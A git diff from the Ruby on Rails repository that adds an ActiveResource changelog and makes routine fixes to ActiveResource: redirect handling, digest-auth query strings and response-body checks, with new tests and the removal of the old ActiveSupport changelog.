+* Fixed that to_param should be used and honored instead of hardcoding the id #11406 *gspiers*
+
+* Improve documentation. *Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria, Sunny Ripert*
+
+* Use HEAD instead of GET in exists? *bscofield*
+
+* Fix small documentation typo. Closes #10670 *Luca Guidi*
+
+* find_or_create_resource_for handles module nesting. #10646 *xavier*
+
+* Allow setting ActiveResource::Base#format before #site. *Rick Olson*
+
+* Support agnostic formats when calling custom methods. Closes #10635 *joerichsen*
+
+* Document custom methods. #10589 *Cheah Chu Yeow*
+
+* Ruby 1.9 compatibility. *Jeremy Kemper*
+
+
+## 2.0.2 (December 16th, 2007) ##
+
+* Added more specific exceptions for 400, 401, and 403 (all descending from ClientError so existing rescues will work) #10326 *trek*
+
+* Correct empty response handling. #10445 *seangeo*
+
+
+## 2.0.1 (December 7th, 2007) ##
+
+* Don't cache net/http object so that ActiveResource is more thread-safe. Closes #10142 *kou*
+
+* Update XML documentation examples to include explicit type attributes. Closes #9754 *Josh Susser*
+
+* Added one-off declarations of mock behavior [David Heinemeier Hansson]. Example:
+
+ Before:
+ ActiveResource::HttpMock.respond_to do |mock|
+ mock.get "/people/1.xml", {}, "<person><name>David</name></person>"
+ end
+
+ Now:
+ ActiveResource::HttpMock.respond_to.get "/people/1.xml", {}, "<person><name>David</name></person>"
+
+* Added ActiveResource.format= which defaults to :xml but can also be set to :json [David Heinemeier Hansson]. Example:
+
+ class Person < ActiveResource::Base
+ self.site = "http://app/"
+ self.format = :json
+ end
+
+ person = Person.find(1) # => GET http://app/people/1.json
+ person.name = "David"
+ person.save # => PUT http://app/people/1.json {name: "David"}
+
+ Person.format = :xml
+ person.name = "Mary"
+ person.save # => PUT http://app/people/1.json <person><name>Mary</name></person>
+
+* Fix reload error when path prefix is used. #8727 *Ian Warshak*
+
+* Remove ActiveResource::Struct because it hasn't proven very useful. Creating a new ActiveResource::Base subclass is often less code and always clearer. #8612 *Josh Peek*
+
+* Fix query methods on resources. *Cody Fauser*
+
+* pass the prefix_options to the instantiated record when using find without a specific id. Closes #8544 *Eloy Duran*
+
+* Recognize and raise an exception on 405 Method Not Allowed responses. #7692 *Josh Peek*
+
+* Handle string and symbol param keys when splitting params into prefix params and query params.
+
+ Comment.find(:all, :params => { :article_id => 5, :page => 2 }) or Comment.find(:all, :params => { 'article_id' => 5, :page => 2 })
+
+* Added find-one with symbol [David Heinemeier Hansson]. Example: Person.find(:one, :from => :leader) # => GET /people/leader.xml
+
+* BACKWARDS INCOMPATIBLE: Changed the finder API to be more extensible with :params and more strict usage of scopes [David Heinemeier Hansson]. Changes:
+
+ Person.find(:all, :title => "CEO") ...becomes: Person.find(:all, :params => { :title => "CEO" })
+ Person.find(:managers) ...becomes: Person.find(:all, :from => :managers)
+ Person.find("/companies/1/manager.xml") ...becomes: Person.find(:one, :from => "/companies/1/manager.xml")
+
+* Add support for setting custom headers per Active Resource model *Rick Olson*
+
+ class Project
+ headers['X-Token'] = 'foo'
+ end
+
+ \# makes the GET request with the custom X-Token header
+ Project.find(:all)
+
+* Added find-by-path options to ActiveResource::Base.find [David Heinemeier Hansson]. Examples:
+
+ employees = Person.find(:all, :from => "/companies/1/people.xml") # => GET /companies/1/people.xml
+ manager = Person.find("/companies/1/manager.xml") # => GET /companies/1/manager.xml
+
+
+* Added support for using classes from within a single nested module [David Heinemeier Hansson]. Example:
+
+ module Highrise
+ class Note < ActiveResource::Base
+ self.site = "http://37s.sunrise.i:3000"
+ end
+
+ class Comment < ActiveResource::Base
+ self.site = "http://37s.sunrise.i:3000"
+ end
+ end
+
+ assert_kind_of Highrise::Comment, Note.find(1).comments.first
+
+
+* Added load_attributes_from_response as a way of loading attributes from other responses than just create *David Heinemeier Hansson*
+
+ class Highrise::Task < ActiveResource::Base
+ def complete
+ load_attributes_from_response(post(:complete))
+ end
+ end
+
+ ...will set "done_at" when complete is called.
+
+
+* Added support for calling custom methods #6979 *rwdaigle*
+
+ Person.find(:managers) # => GET /people/managers.xml
+ Kase.find(1).post(:close) # => POST /kases/1/close.xml
+
+* Remove explicit prefix_options parameter for ActiveResource::Base#initialize. *Rick Olson*
+ ActiveResource splits the prefix_options from it automatically.
+
+* Allow ActiveResource::Base.delete with custom prefix. *Rick Olson*
+
+* Add ActiveResource::Base#dup *Rick Olson*
+
+* Fixed constant warning when fetching the same object multiple times *David Heinemeier Hansson*
+
+* Added that saves which get a body response (and not just a 201) will use that response to update themselves *David Heinemeier Hansson*
+
+* Disregard namespaces from the default element name, so Highrise::Person will just try to fetch from "/people", not "/highrise/people" *David Heinemeier Hansson*
+
+* Allow array and hash query parameters. #7756 *Greg Spurrier*
+
+* Loading a resource preserves its prefix_options. #7353 *Ryan Daigle*
+
+* Carry over the convenience of #create from ActiveRecord. Closes #7340. *Ryan Daigle*
+
+* Increase ActiveResource::Base test coverage. Closes #7173, #7174 *Rich Collins*
+
+* Interpret 422 Unprocessable Entity as ResourceInvalid. #7097 *dkubb*
+
+* Mega documentation patches. #7025, #7069 *rwdaigle*
+
+* Base.exists?(id, options) and Base#exists? check whether the resource is found. #6970 *rwdaigle*
+
+* Query string support. *untext, Jeremy Kemper*
+ # GET /forums/1/topics.xml?sort=created_at
+ Topic.find(:all, :forum_id => 1, :sort => 'created_at')
+
+* Base#==, eql?, and hash methods. == returns true if its argument is identical to self or if it's an instance of the same class, is not new?, and has the same id. eql? is an alias for ==. hash delegates to id. *Jeremy Kemper*
+
+* Allow subclassed resources to share the site info *Rick Olson, Jeremy Kemper*
+ d class BeastResource < ActiveResource::Base
+ self.site = 'http://beast.caboo.se'
+ end
+
+ class Forum < BeastResource
+ # taken from BeastResource
+ # self.site = 'http://beast.caboo.se'
+ end
+
+ class Topic < BeastResource
+ self.site += '/forums/:forum_id'
+ end
+
+* Fix issues with ActiveResource collection handling. Closes #6291. *bmilekic*
+
+* Use attr_accessor_with_default to dry up attribute initialization. References #6538. *Stuart Halloway*
+
+* Add basic logging support for logging outgoing requests. *Jamis Buck*
+
+* Add Base.delete for deleting resources without having to instantiate them first. *Jamis Buck*
+
+* Make #save behavior mimic AR::Base#save (true on success, false on failure). *Jamis Buck*
+
+* Add Basic HTTP Authentication to ActiveResource (closes #6305). *jonathan*
+
+* Extracted #id_from_response as an entry point for customizing how a created resource gets its own ID.
+ By default, it extracts from the Location response header.
+
+* Optimistic locking: raise ActiveResource::ResourceConflict on 409 Conflict response. *Jeremy Kemper*
+
+ # Example controller action
+ def update
+ @person.save!
+ rescue ActiveRecord::StaleObjectError
+ render :xml => @person.reload.to_xml, :status => '409 Conflict'
+ end
+
+* Basic validation support *Rick Olson*
+
+ Parses the xml response of ActiveRecord::Errors#to_xml with a similar interface to ActiveRecord::Errors.
+
+ render :xml => @person.errors.to_xml, :status => '400 Validation Error'
+
+* Deep hashes are converted into collections of resources. *Jeremy Kemper*
+ Person.new :name => 'Bob',
+ :address => { :id => 1, :city => 'Portland' },
+ :contacts => [{ :id => 1 }, { :id => 2 }]
+ Looks for Address and Contact resources and creates them if unavailable.
+ So clients can fetch a complex resource in a single request if you e.g.
+ render :xml => @person.to_xml(:include => [:address, :contacts])
+ in your controller action.
+
+* Major updates *Rick Olson*
+
+ * Add full support for find/create/update/destroy
+ * Add support for specifying prefixes.
+ * Allow overriding of element_name, collection_name, and primary key
+ * Provide simpler HTTP mock interface for testing
+
+ # rails routing code
+ map.resources :posts do |post|
+ post.resources :comments
+ end
+
+ # ActiveResources
+ class Post < ActiveResource::Base
+ self.site = "http://37s.sunrise.i:3000/"
+ end
+
+ class Comment < ActiveResource::Base
+ self.site = "http://37s.sunrise.i:3000/posts/:post_id/"
+ end
+
+ @post = Post.find 5
+ @comments = Comment.find :all, :post_id => @post.id
+
+ @comment = Comment.new({:body => 'hello world'}, {:post_id => @post.id})
+ @comment.save
+
+* Base.site= accepts URIs. 200...400 are valid response codes. PUT and POST request bodies default to ''. *Jeremy Kemper*
+
+* Initial checkin: object-oriented client for restful HTTP resources which follow the Rails convention. *David Heinemeier Hansson*
diff --git a/activeresource/README.rdoc b/activeresource/README.rdoc
index b03e8c4c25..c86289c5fe 100644
--- a/activeresource/README.rdoc
+++ b/activeresource/README.rdoc
@@ -22,13 +22,13 @@ received and serialized into a usable Ruby object.
== Download and installation
-The latest version of Active Support can be installed with Rubygems:
+The latest version of Active Support can be installed with RubyGems:
% [sudo] gem install activeresource
Source code can be downloaded as part of the Rails project on GitHub
-* https://github.com/rails/rails/tree/master/activeresource/
+* https://github.com/rails/rails/tree/master/activeresource
=== Configuration and Usage
@@ -36,7 +36,7 @@ Putting Active Resource to use is very similar to Active Record. It's as simple
that inherits from ActiveResource::Base and providing a <tt>site</tt> class variable to it:
class Person < ActiveResource::Base
- self.site = "http://api.people.com:3000/"
+ self.site = "http://api.people.com:3000"
end
Now the Person class is REST enabled and can invoke REST services very similarly to how Active Record invokes
@@ -135,8 +135,8 @@ as the id of the ARes object.
==== Update
-'save' is also used to update an existing resource - and follows the same protocol as creating a resource
-with the exception that no response headers are needed - just an empty response when the update on the
+'save' is also used to update an existing resource and follows the same protocol as creating a resource
+with the exception that no response headers are needed -- just an empty response when the update on the
server side was successful.
# <person><first>Ryan</first></person>
diff --git a/activeresource/activeresource.gemspec b/activeresource/activeresource.gemspec
index a8772ecf8c..f5c26f38df 100644
--- a/activeresource/activeresource.gemspec
+++ b/activeresource/activeresource.gemspec
@@ -13,7 +13,7 @@ Gem::Specification.new do |s|
s.email = 'david@loudthinking.com'
s.homepage = 'http://www.rubyonrails.org'
- s.files = Dir['CHANGELOG', 'MIT-LICENSE', 'README.rdoc', 'examples/**/*', 'lib/**/*']
+ s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'examples/**/*', 'lib/**/*']
s.require_path = 'lib'
s.extra_rdoc_files = %w( README.rdoc )
diff --git a/activeresource/lib/active_resource/base.rb b/activeresource/lib/active_resource/base.rb
index 693bd0592e..10cc727bd9 100644
--- a/activeresource/lib/active_resource/base.rb
+++ b/activeresource/lib/active_resource/base.rb
@@ -170,8 +170,8 @@ module ActiveResource
# <tt>404</tt> is just one of the HTTP error response codes that Active Resource will handle with its own exception. The
# following HTTP response codes will also result in these exceptions:
#
- # * 200..399 - Valid response, no exception (other than 301, 302)
- # * 301, 302 - ActiveResource::Redirection
+ # * 200..399 - Valid response. No exceptions, other than these redirects:
+ # * 301, 302, 303, 307 - ActiveResource::Redirection
# * 400 - ActiveResource::BadRequest
# * 401 - ActiveResource::UnauthorizedAccess
# * 403 - ActiveResource::ForbiddenAccess
@@ -637,6 +637,10 @@ module ActiveResource
# Post.element_path(1)
# # => /posts/1.json
#
+ # class Comment < ActiveResource::Base
+ # self.site = "http://37s.sunrise.i/posts/:post_id/"
+ # end
+ #
# Comment.element_path(1, :post_id => 5)
# # => /posts/5/comments/1.json
#
@@ -663,6 +667,10 @@ module ActiveResource
# Post.new_element_path
# # => /posts/new.json
#
+ # class Comment < ActiveResource::Base
+ # self.site = "http://37s.sunrise.i/posts/:post_id/"
+ # end
+ #
# Comment.collection_path(:post_id => 5)
# # => /posts/5/comments/new.json
def new_element_path(prefix_options = {})
@@ -955,7 +963,7 @@ module ActiveResource
prefix_options, query_options = {}, {}
(options || {}).each do |key, value|
- next if key.blank?
+ next if key.blank? || !key.respond_to?(:to_sym)
(prefix_parameters.include?(key.to_sym) ? prefix_options : query_options)[key.to_sym] = value
end
@@ -1357,7 +1365,9 @@ module ActiveResource
end
def load_attributes_from_response(response)
- if !response['Content-Length'].blank? && response['Content-Length'] != "0" && !response.body.nil? && response.body.strip.size > 0
+ if (response_code_allows_body?(response.code) &&
+ (response['Content-Length'].nil? || response['Content-Length'] != "0") &&
+ !response.body.nil? && response.body.strip.size > 0)
load(self.class.format.decode(response.body), true)
@persisted = true
end
@@ -1381,6 +1391,16 @@ module ActiveResource
end
private
+
+ def read_attribute_for_serialization(n)
+ attributes[n]
+ end
+
+ # Determine whether the response is allowed to have a body per HTTP 1.1 spec section 4.4.1
+ def response_code_allows_body?(c)
+ !((100..199).include?(c) || [204,304].include?(c))
+ end
+
# Tries to find a resource for a given collection name; if it fails, then the resource is created
def find_or_create_resource_for_collection(name)
find_or_create_resource_for(ActiveSupport::Inflector.singularize(name.to_s))
diff --git a/activeresource/lib/active_resource/connection.rb b/activeresource/lib/active_resource/connection.rb
index d923204dde..94839c8c25 100644
--- a/activeresource/lib/active_resource/connection.rb
+++ b/activeresource/lib/active_resource/connection.rb
@@ -122,7 +122,7 @@ module ActiveResource
# Handles response and error codes from the remote service.
def handle_response(response)
case response.code.to_i
- when 301,302
+ when 301, 302, 303, 307
raise(Redirection.new(response))
when 200...400
response
@@ -238,8 +238,11 @@ module ActiveResource
def digest_auth_header(http_method, uri)
params = extract_params_from_response
+ request_uri = uri.path
+ request_uri << "?#{uri.query}" if uri.query
+
ha1 = Digest::MD5.hexdigest("#{@user}:#{params['realm']}:#{@password}")
- ha2 = Digest::MD5.hexdigest("#{http_method.to_s.upcase}:#{uri.path}")
+ ha2 = Digest::MD5.hexdigest("#{http_method.to_s.upcase}:#{request_uri}")
params.merge!('cnonce' => client_nonce)
request_digest = Digest::MD5.hexdigest([ha1, params['nonce'], "0", params['cnonce'], params['qop'], ha2].join(":"))
diff --git a/activeresource/lib/active_resource/custom_methods.rb b/activeresource/lib/active_resource/custom_methods.rb
index c1931b2758..2a651dd48e 100644
--- a/activeresource/lib/active_resource/custom_methods.rb
+++ b/activeresource/lib/active_resource/custom_methods.rb
@@ -23,7 +23,7 @@ module ActiveResource
# self.site = "http://37s.sunrise.i:3000"
# end
#
- # Person.new(:name => 'Ryan).post(:register) # POST /people/new/register.json
+ # Person.new(:name => 'Ryan').post(:register) # POST /people/new/register.json
# # => { :id => 1, :name => 'Ryan' }
#
# Person.find(1).put(:promote, :position => 'Manager') # PUT /people/1/promote.json
@@ -85,37 +85,35 @@ module ActiveResource
end
end
- module InstanceMethods
- def get(method_name, options = {})
- self.class.format.decode(connection.get(custom_method_element_url(method_name, options), self.class.headers).body)
- end
+ def get(method_name, options = {})
+ self.class.format.decode(connection.get(custom_method_element_url(method_name, options), self.class.headers).body)
+ end
- def post(method_name, options = {}, body = nil)
- request_body = body.blank? ? encode : body
- if new?
- connection.post(custom_method_new_element_url(method_name, options), request_body, self.class.headers)
- else
- connection.post(custom_method_element_url(method_name, options), request_body, self.class.headers)
- end
+ def post(method_name, options = {}, body = nil)
+ request_body = body.blank? ? encode : body
+ if new?
+ connection.post(custom_method_new_element_url(method_name, options), request_body, self.class.headers)
+ else
+ connection.post(custom_method_element_url(method_name, options), request_body, self.class.headers)
end
+ end
- def put(method_name, options = {}, body = '')
- connection.put(custom_method_element_url(method_name, options), body, self.class.headers)
- end
+ def put(method_name, options = {}, body = '')
+ connection.put(custom_method_element_url(method_name, options), body, self.class.headers)
+ end
- def delete(method_name, options = {})
- connection.delete(custom_method_element_url(method_name, options), self.class.headers)
- end
+ def delete(method_name, options = {})
+ connection.delete(custom_method_element_url(method_name, options), self.class.headers)
+ end
- private
- def custom_method_element_url(method_name, options = {})
- "#{self.class.prefix(prefix_options)}#{self.class.collection_name}/#{id}/#{method_name}.#{self.class.format.extension}#{self.class.__send__(:query_string, options)}"
- end
+ private
+ def custom_method_element_url(method_name, options = {})
+ "#{self.class.prefix(prefix_options)}#{self.class.collection_name}/#{id}/#{method_name}.#{self.class.format.extension}#{self.class.__send__(:query_string, options)}"
+ end
- def custom_method_new_element_url(method_name, options = {})
- "#{self.class.prefix(prefix_options)}#{self.class.collection_name}/new/#{method_name}.#{self.class.format.extension}#{self.class.__send__(:query_string, options)}"
- end
- end
+ def custom_method_new_element_url(method_name, options = {})
+ "#{self.class.prefix(prefix_options)}#{self.class.collection_name}/new/#{method_name}.#{self.class.format.extension}#{self.class.__send__(:query_string, options)}"
+ end
end
end
diff --git a/activeresource/lib/active_resource/exceptions.rb b/activeresource/lib/active_resource/exceptions.rb
index 6b953b28ad..51bede3bd0 100644
--- a/activeresource/lib/active_resource/exceptions.rb
+++ b/activeresource/lib/active_resource/exceptions.rb
@@ -33,35 +33,45 @@ module ActiveResource
# 3xx Redirection
class Redirection < ConnectionError # :nodoc:
- def to_s; response['Location'] ? "#{super} => #{response['Location']}" : super; end
+ def to_s
+ response['Location'] ? "#{super} => #{response['Location']}" : super
+ end
end
- # Raised when ...
- class MissingPrefixParam < ArgumentError; end # :nodoc:
+ class MissingPrefixParam < ArgumentError # :nodoc:
+ end
# 4xx Client Error
- class ClientError < ConnectionError; end # :nodoc:
+ class ClientError < ConnectionError # :nodoc:
+ end
# 400 Bad Request
- class BadRequest < ClientError; end # :nodoc
+ class BadRequest < ClientError # :nodoc:
+ end
# 401 Unauthorized
- class UnauthorizedAccess < ClientError; end # :nodoc
+ class UnauthorizedAccess < ClientError # :nodoc:
+ end
# 403 Forbidden
- class ForbiddenAccess < ClientError; end # :nodoc
+ class ForbiddenAccess < ClientError # :nodoc:
+ end
# 404 Not Found
- class ResourceNotFound < ClientError; end # :nodoc:
+ class ResourceNotFound < ClientError # :nodoc:
+ end
# 409 Conflict
- class ResourceConflict < ClientError; end # :nodoc:
+ class ResourceConflict < ClientError # :nodoc:
+ end
# 410 Gone
- class ResourceGone < ClientError; end # :nodoc:
+ class ResourceGone < ClientError # :nodoc:
+ end
# 5xx Server Error
- class ServerError < ConnectionError; end # :nodoc:
+ class ServerError < ConnectionError # :nodoc:
+ end
# 405 Method Not Allowed
class MethodNotAllowed < ClientError # :nodoc:
diff --git a/activeresource/test/cases/authorization_test.rb b/activeresource/test/cases/authorization_test.rb
index 69ef9a2821..17cd9b30fc 100644
--- a/activeresource/test/cases/authorization_test.rb
+++ b/activeresource/test/cases/authorization_test.rb
@@ -131,6 +131,12 @@ class AuthorizationTest < Test::Unit::TestCase
assert_equal blank_digest_auth_header("/people/2.json", "fad396f6a34aeba28e28b9b96ddbb671"), authorization_header['Authorization']
end
+ def test_authorization_header_with_query_string_if_auth_type_is_digest
+ @authenticated_conn.auth_type = :digest
+ authorization_header = @authenticated_conn.__send__(:authorization_header, :get, URI.parse('/people/2.json?only=name'))
+ assert_equal blank_digest_auth_header("/people/2.json?only=name", "f8457b0b5d21b6b80737a386217afb24"), authorization_header['Authorization']
+ end
+
def test_get
david = decode(@authenticated_conn.get("/people/2.json"))
assert_equal "David", david["name"]
diff --git a/activeresource/test/cases/base/load_test.rb b/activeresource/test/cases/base/load_test.rb
index 0d030148d0..784e7dd036 100644
--- a/activeresource/test/cases/base/load_test.rb
+++ b/activeresource/test/cases/base/load_test.rb
@@ -51,9 +51,28 @@ class BaseLoadTest < Test::Unit::TestCase
:votes => [ true, false, true ],
:places => [ "Columbia City", "Unknown" ]}}}
+
+ # List of books formated as [{timestamp_of_publication => name}, ...]
+ @books = {:books => [
+ {1009839600 => "Ruby in a Nutshell"},
+ {1199142000 => "The Ruby Programming Language"}
+ ]}
+
+ @books_date = {:books => [
+ {Time.at(1009839600) => "Ruby in a Nutshell"},
+ {Time.at(1199142000) => "The Ruby Programming Language"}
+ ]}
@person = Person.new
end
+ def test_load_hash_with_integers_as_keys
+ assert_nothing_raised{@person.load(@books)}
+ end
+
+ def test_load_hash_with_dates_as_keys
+ assert_nothing_raised{@person.load(@books_date)}
+ end
+
def test_load_expects_hash
assert_raise(ArgumentError) { @person.load nil }
assert_raise(ArgumentError) { @person.load '<person id="1"/>' }
diff --git a/activeresource/test/cases/base_test.rb b/activeresource/test/cases/base_test.rb
index f45652d988..7b42f64a35 100644
--- a/activeresource/test/cases/base_test.rb
+++ b/activeresource/test/cases/base_test.rb
@@ -636,13 +636,37 @@ class BaseTest < Test::Unit::TestCase
assert_nil p.__send__(:id_from_response, resp)
end
- def test_load_attributes_from_response
- p = Person.new
+ def test_not_persisted_with_no_body_and_positive_content_length
resp = ActiveResource::Response.new(nil)
resp['Content-Length'] = "100"
- assert_nil p.__send__(:load_attributes_from_response, resp)
+ Person.connection.expects(:post).returns(resp)
+ assert !Person.create.persisted?
+ end
+
+ def test_not_persisted_with_body_and_zero_content_length
+ resp = ActiveResource::Response.new(@rick)
+ resp['Content-Length'] = "0"
+ Person.connection.expects(:post).returns(resp)
+ assert !Person.create.persisted?
end
+ # These response codes aren't allowed to have bodies per HTTP spec
+ def test_not_persisted_with_empty_response_codes
+ [100,101,204,304].each do |status_code|
+ resp = ActiveResource::Response.new(@rick, status_code)
+ Person.connection.expects(:post).returns(resp)
+ assert !Person.create.persisted?
+ end
+ end
+
+ # Content-Length is not required by HTTP 1.1, so we should read
+ # the body anyway in its absence.
+ def test_persisted_with_no_content_length
+ resp = ActiveResource::Response.new(@rick)
+ resp['Content-Length'] = nil
+ Person.connection.expects(:post).returns(resp)
+ assert Person.create.persisted?
+ end
def test_create_with_custom_prefix
matzs_house = StreetAddress.new(:person_id => 1)
@@ -980,9 +1004,17 @@ class BaseTest < Test::Unit::TestCase
def test_to_xml_with_private_method_name_as_attribute
Person.format = :xml
- assert_nothing_raised(ArgumentError) {
- Customer.new(:test => true).to_xml
- }
+
+ customer = Customer.new(:foo => "foo")
+ customer.singleton_class.class_eval do
+ def foo
+ "bar"
+ end
+ private :foo
+ end
+
+ assert !customer.to_xml.include?("<foo>bar</foo>")
+ assert customer.to_xml.include?("<foo>foo</foo>")
ensure
Person.format = :json
end
diff --git a/activeresource/test/cases/connection_test.rb b/activeresource/test/cases/connection_test.rb
index 09df0fb678..535107aeef 100644
--- a/activeresource/test/cases/connection_test.rb
+++ b/activeresource/test/cases/connection_test.rb
@@ -2,6 +2,7 @@ require 'abstract_unit'
class ConnectionTest < Test::Unit::TestCase
ResponseCodeStub = Struct.new(:code)
+ RedirectResponseStub = Struct.new(:code, :Location)
def setup
@conn = ActiveResource::Connection.new('http://localhost')
@@ -38,6 +39,18 @@ class ConnectionTest < Test::Unit::TestCase
assert_equal expected, handle_response(expected)
end
+ # 301 is moved permanently (redirect)
+ assert_redirect_raises 301
+
+ # 302 is found (redirect)
+ assert_redirect_raises 302
+
+ # 303 is see other (redirect)
+ assert_redirect_raises 303
+
+ # 307 is temporary redirect
+ assert_redirect_raises 307
+
# 400 is a bad request (e.g. malformed URI or missing request parameter)
assert_response_raises ActiveResource::BadRequest, 400
@@ -247,6 +260,12 @@ class ConnectionTest < Test::Unit::TestCase
end
end
+ def assert_redirect_raises(code)
+ assert_raise(ActiveResource::Redirection, "Expected response code #{code} to raise ActiveResource::Redirection") do
+ handle_response RedirectResponseStub.new(code, 'http://example.com/')
+ end
+ end
+
def handle_response(response)
@conn.__send__(:handle_response, response)
end
diff --git a/activesupport/CHANGELOG b/activesupport/CHANGELOG
deleted file mode 100644
index a25720adbf..0000000000
--- a/activesupport/CHANGELOG
+++ /dev/null
@@ -1,1540 +0,0 @@
-*Rails 3.2.0 (unreleased)*
-
-* The definition of blank string for Ruby 1.9 has been extended to Unicode whitespace.
-Also, in 1.8 the ideographic space U+3000 is considered to be whitespace. [Akira Matsuda, Damien Mathieu]
-
-* The inflector understands acronyms. [dlee]
-
-* Deprecated ActiveSupport::Memoizable in favor of Ruby memoization pattern [José Valim]
-
-* Added Time#all_day/week/quarter/year as a way of generating ranges (example: Event.where(created_at: Time.now.all_week)) [DHH]
-
-* Added instance_accessor: false as an option to Class#cattr_accessor and friends [DHH]
-
-* Removed ActiveSupport::SecureRandom in favor of SecureRandom from the standard library [Jon Leighton]
-
-* ActiveSupport::OrderedHash now has different behavior for #each and
-#each_pair when given a block accepting its parameters with a splat. [Andrew Radev]
-
-*Rails 3.1.0 (unreleased)*
-
-* ActiveSupport::Dependencies now raises NameError if it finds an existing constant in load_missing_constant. This better reflects the nature of the error which is usually caused by calling constantize on a nested constant. [Andrew White]
-
-* Deprecated ActiveSupport::SecureRandom in favour of SecureRandom from the standard library [Jon Leighton]
-
-* New reporting method Kernel#quietly. [fxn]
-
-* Add String#inquiry as a convenience method for turning a string into a StringInquirer object [DHH]
-
-* Add Object#in? to test if an object is included in another object [Prem Sichanugrist, Brian Morearty, John Reitano]
-
-* LocalCache strategy is now a real middleware class, not an anonymous class
-posing for pictures.
-
-* ActiveSupport::Dependencies::ClassCache class has been introduced for
-holding references to reloadable classes.
-
-* ActiveSupport::Dependencies::Reference has been refactored to take direct
-advantage of the new ClassCache.
-
-* Backports Range#cover? as an alias for Range#include? in Ruby 1.8 [Diego Carrion, fxn]
-
-* Added weeks_ago and prev_week to Date/DateTime/Time. [Rob Zolkos, fxn]
-
-* Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants! [Andrew White]
-
-* JSON decoding now uses the multi_json gem which also vendors a json engine called OkJson. The yaml backend has been removed in favor of OkJson as a default engine for 1.8.x, while the built in 1.9.x json implementation will be used by default. [Josh Kalderimis]
-
-
-*Rails 3.0.7 (April 18, 2011)*
-
-* Hash.from_xml no longer loses attributes on tags containing only whitespace [André Arko]
-
-
-*Rails 3.0.6 (April 5, 2011)
-
-* No changes.
-
-
-*Rails 3.0.5 (February 26, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.4 (February 8, 2011)*
-
-* No changes.
-
-
-*Rails 3.0.3 (November 16, 2010)*
-
-* No changes.
-
-
-*Rails 3.0.2 (November 15, 2010)*
-
-* Added before_remove_const callback to ActiveSupport::Dependencies.remove_unloadable_constants! [Andrew White]
-
-
-*Rails 3.0.1 (October 15, 2010)*
-
-* No Changes, just a version bump.
-
-
-*Rails 3.0.0 (August 29, 2010)*
-
-* Implemented String#strip_heredoc. [fxn]
-
-* Pluggable cache stores: setting config.cache_store = "custom_store" will require 'active_support/cache/custom_store' and look for the CustomStore constant. #5486 [Mike Perham]
-
-* Removed Object#returning, Object#tap should be used instead. [Santiago Pastorino]
-
-* Deprecation behavior is no longer hardcoded to the name of the environment.
- Instead, it is set via config.active_support.deprecation and can be one
- of :log, :stderr or :notify. :notify is a new style that sends the warning
- via ActiveSupport::Notifications, and is the new default for production
- [Yehuda Katz]
-
-* Renamed ActiveSupport::Dependecies.load_(once_)paths to autoload_(once_)paths. [fxn]
-
-* Added ActiveSupport::FileUpdateChecker to execute a block only if a set of files changed, used by Router and I18n locale files. [José Valim]
-
-* Added ActiveSupport::DescendantsTracker to track descendants with support to constants reloading. [José Valim]
-
-* ActiveSupport::OrderedHash#merge and #merge! accept a block. #4838 [Paul Mucur, fxn]
-
-* Date#since, #ago, #beginning_of_day, #end_of_day, and #xmlschema honor now the user time zone if set. [Geoff Buesing]
-
-* Extracted String#truncate from TextHelper#truncate [DHH]
-
-* Ruby 1.9: support UTF-8 case folding. #4595 [Norman Clarke]
-
-* Removes Array#rand and backports Array#sample from Ruby 1.9, thanks to Marc-Andre Lafortune. [fxn]
-
-* Ruby 1.9: Renames last_(month|year) to prev_(month|year) in Date and Time. [fxn]
-
-* Aliases Date#sunday to Date#end_of_week. [fxn]
-
-* Backports Date#>> from 1.9 so that calculations do the right thing around the calendar reform. [fxn]
-
-* Date#to_time handles properly years in the range 0..138. [fxn]
-
-* Deprecate {{}} as interpolation syntax for I18n in favor of %{} [José Valim]
-
-* Array#to_xml is more powerful and able to handle the same types as Hash#to_xml #4490 [Neeraj Singh]
-
-* Harmonize the caching API and refactor the backends. #4452 [Brian Durand]
- All caches:
- * Add default options to initializer that will be sent to all read, write, fetch, exist?, increment, and decrement
- * Add support for the :expires_in option to fetch and write for all caches. Cache entries are stored with the create timestamp and a ttl so that expiration can be handled independently of the implementation.
- * Add support for a :namespace option. This can be used to set a global prefix for cache entries.
- * Deprecate expand_cache_key on ActiveSupport::Cache and move it to ActionController::Caching and ActionDispatch::Http::Cache since the logic in the method used some Rails specific environment variables and was only used by ActionPack classes. Not very DRY but there didn't seem to be a good shared spot and ActiveSupport really shouldn't be Rails specific.
- * Add support for :race_condition_ttl to fetch. This setting can prevent race conditions on fetch calls where several processes try to regenerate a recently expired entry at once.
- * Add support for :compress option to fetch and write which will compress any data over a configurable threshold.
- * Nil values can now be stored in the cache and are distinct from cache misses for fetch.
- * Easier API to create new implementations. Just need to implement the methods read_entry, write_entry, and delete_entry instead of overwriting existing methods.
- * Since all cache implementations support storing objects, update the docs to state that ActiveCache::Cache::Store implementations should store objects. Keys, however, must be strings since some implementations require that.
- * Increase test coverage.
- * Document methods which are provided as convenience but which may not be universally available.
-
- MemoryStore:
- * MemoryStore can now safely be used as the cache for single server sites.
- * Make thread safe so that the default cache implementation used by Rails is thread safe. The overhead is minimal and it is still the fastest store available.
- * Provide :size initialization option indicating the maximum size of the cache in memory (defaults to 32Mb).
- * Add prune logic that removes the least recently used cache entries to keep the cache size from exceeding the max.
- * Deprecated SynchronizedMemoryStore since it isn't needed anymore.
-
- FileStore:
- * Escape key values so they will work as file names on all file systems, be consistent, and case sensitive
- * Use a hash algorithm to segment the cache into sub directories so that a large cache doesn't exceed file system limits.
- * FileStore can be slow so implement the LocalCache strategy to cache reads for the duration of a request.
- * Add cleanup method to keep the disk from filling up with expired entries.
- * Fix increment and decrement to use file system locks so they are consistent between processes.
-
- MemCacheStore:
- * Support all keys. Previously keys with spaces in them would fail
- * Deprecate CompressedMemCacheStore since it isn't needed anymore (use :compress => true)
-
-* JSON: encode objects that don't have a native JSON representation using to_hash, if available, instead of instance_values (the old fallback) or to_s (other encoders' default). Encode BigDecimal and Regexp encode as strings to conform with other encoders. Try to transcode non-UTF-8 strings. [Jeremy Kemper]
-
-* HashWithIndifferentAccess: remove inherited symbolize_keys! since its keys are always strings. [Santiago Pastorino]
-
-* Improve transliteration quality. #4374 [Norman Clarke]
-
-* Speed up and add Ruby 1.9 support for ActiveSupport::Multibyte::Chars#tidy_bytes. #4350 [Norman Clarke]
-
